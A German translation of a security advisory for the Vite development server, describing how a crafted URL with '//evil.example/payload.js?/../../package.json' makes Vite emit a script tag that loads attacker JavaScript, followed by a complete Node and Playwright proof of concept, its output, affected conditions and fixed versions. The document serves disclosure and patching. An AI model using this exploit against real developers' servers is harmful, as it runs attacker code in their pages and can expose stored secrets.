Vite: Herkunftsübergreifende Skriptausführung über benutzerdefinierte Vite-Middleware
Zusammenfassung
Beim Zugriff auf eine bösartige Website während der Ausführung eines Vite-Entwicklungsservers konnte diese Website Skripte in eine vom Entwicklungsserver bereitgestellte Seite laden.
Auswirkungen
Nur Anwendungen, die folgende Bedingungen erfüllen, sind betroffen:
- Der Entwicklungsserver übergibt eine unveränderte Browser-Anfrage-URL an
server.transformIndexHtml: Dies wird typischerweise fürserver.middlewareMode: trueoderappType: 'custom'genutzt. Der interne Aufruf fürappType: 'spa'undappType: 'mpa'entspricht diesem Muster nicht. - Das transformierte HTML enthält ein Inline-Modulskript.
- Über das Skript auf der vom Entwicklungsserver ausgelieferten Seite speichert die Anwendung vertrauliche Werte an einem zugänglichen Ort oder ermöglicht kritische Aktionen.
Details
Der Vite-SSR-Leitfaden für 8.2.1) dokumentiert das betroffene Setup. Die Anwendung bindet Vite im Middleware-Modus ein, liest vertrauenswürdiges HTML ein und übergibt die unveränderte Anfrage-URL des Browsers an die Transformation:
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)
Für einen Entwicklungsserver unter http://localhost:5173 kann ein Angreifer diese URL senden:
http://localhost:5173//evil.example/payload.js?/../../package.json
In Vite 8.2.1 verwenden createDevHtmlTransformFn und getHtmlFilename in indexHtml.ts) die Anfrage-URL sowohl als path der Transformation als auch als Eingabe für path.join. Der an path.join übergebene Wert enthält weiterhin seinen Query-Text.
Chromium behält /../../package.json bei, da es auf ? folgt und somit Query-Text darstellt. Vite behandelt dieselben Zeichen als Dateisystempfad-Komponenten, sodass die ..-Komponenten den abgeleiteten Dateinamen zur bestehenden Projektdatei package.json auflösen.
Der Branch für bestehende Dateien in indexHtml.ts) prüft diesen Dateinamen mit fs.existsSync und behält den vom Angreifer bereitgestellten htmlPath als proxyModuleUrl bei. Das Umschreiben von Inline-Modulen in derselben Datei) schreibt diesen Wert in das generierte src:
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
Der generierte Wert ist eine gültige URL. Das vorangestellte // weist den Browser an, das Modul von evil.example unter Verwendung des Schemas der Vite-Seite anzufordern. Der Angreifer liefert für diese Anfrage JavaScript aus, und Chromium führt es im Kontext der Vite-Seite aus.
PoC
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
viteModule.createServer ?? viteModule.default.createServer
// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'
const listen = (server, port = 0) =>
new Promise((resolve, reject) => {
server.once('error', reject)
server.listen(port, '127.0.0.1', () => {
server.off('error', reject)
resolve(server.address().port)
})
})
const close = (server) =>
new Promise((resolve, reject) => {
server.close((error) => (error ? reject(error) : resolve()))
})
let attackerRequest = null
const attacker = createHttpServer((request, response) => {
attackerRequest = request.url
response.writeHead(200, {
'access-control-allow-origin': '*',
'content-type': 'text/javascript',
})
response.end(
"document.documentElement.dataset.viteXssPoc = 'executed'",
)
})
const vite = await createViteServer({
appType: 'custom',
configFile: false,
root: directory,
server: {
hmr: false,
middlewareMode: true,
watch: null,
},
})
const application = createHttpServer((request, response) => {
vite.middlewares(request, response, async (error) => {
if (error) {
response.destroy(error)
return
}
try {
const transformed = await vite.transformIndexHtml(request.url, html)
response.writeHead(200, { 'content-type': 'text/html' })
response.end(transformed)
} catch (transformError) {
response.destroy(transformError)
}
})
})
await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })
try {
const page = await browser.newPage()
await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
await page.waitForFunction(
() => document.documentElement.dataset.viteXssPoc === 'executed',
)
console.log(`attacker request: ${attackerRequest}`)
console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
await browser.close()
await close(application)
await vite.close()
await close(attacker)
}
Beobachtete Ausgabe unter Vite 8.2.1:
attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page
Was zu tun ist
Aktualisieren Sie Vite auf die Version 6.4.4, 7.3.7, 8.1.6, 8.2.4, 8.3.3 oder höher sowie vite-plus auf Version 1.1.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
Verweise
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-80- Plattform
- npm
- Paket
vite, vite-plus- Veröffentlicht
- 21.10.2026
- Aktualisiert
- 21.10.2026 19:20
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-9jrq-w75r-8gcw - CC BY 4.0
Schwachstellenhistorie: vite
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 27
- Erste → letzte
- 08.2022 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 1
Verteilung nach Schweregrad
- Hoch 8
- Mittel 16
- Niedrig 3
Veröffentlichungen pro Jahr
- 2022: 1
- 2023: 2
- 2024: 4
- 2025: 9
- 2026: 11
-
Vite: Herkunftsübergreifende Skriptausführung über benutzerdefinierte Vite-Middleware dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.